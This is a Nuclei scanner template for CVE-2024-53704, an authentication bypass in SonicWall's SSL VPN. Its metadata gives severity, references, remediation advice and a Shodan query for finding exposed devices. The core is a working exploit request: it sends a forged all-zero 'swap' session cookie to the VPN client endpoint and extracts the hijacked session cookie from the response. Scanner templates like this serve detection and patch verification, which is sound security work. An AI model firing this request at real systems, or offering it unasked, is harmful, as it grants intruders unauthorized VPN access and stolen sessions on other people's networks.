id: CVE-2024-53704

info:
  name: SSL VPN Session Hijacking
  author: johnk3r
  severity: critical
  description: |
    An Improper Authentication vulnerability in the SSLVPN authentication mechanism allows a remote attacker to bypass authentication.
  impact: |
    Unauthenticated attackers can hijack SSL VPN sessions by bypassing authentication mechanisms and gaining unauthorized access to the VPN.
  remediation: |
    Update SonicWall to a version that patches CVE-2024-53704 as specified in PSIRT advisory SNWLID-2025-0003.
  reference:
    - https://bishopfox.com/blog/sonicwall-cve-2024-53704-ssl-vpn-session-hijacking
    - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0003
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-53704
    cwe-id: CWE-287
    epss-score: 0.95132
    epss-percentile: 0.99855
  metadata:
    verified: true
    max-request: 1
    shodan-query: "http.html_hash:-1466805544"
  tags: cve,cve2024,sonicwall,kev,vkev,vuln

http:
  - raw:
      - |
        GET /cgi-bin/sslvpnclient?launchplatform= HTTP/1.1
        Host: {{Hostname}}
        Cookie: swap=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "NELaunchX1"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: header
        regex:
          - 'Set-Cookie: swap=([a-zA-Z0-9]+);'
# digest: 490a0046304402202ae30618c79770a7bb3db9c351077673dac9a65b928f9e101fef1d6c19c4addf022031a5ec114426f19f942247e9a3a460f9b8b2acaa0c7cb576f9bcbf9c8bd6327a:922c64590222798bb761d5b6d8e72950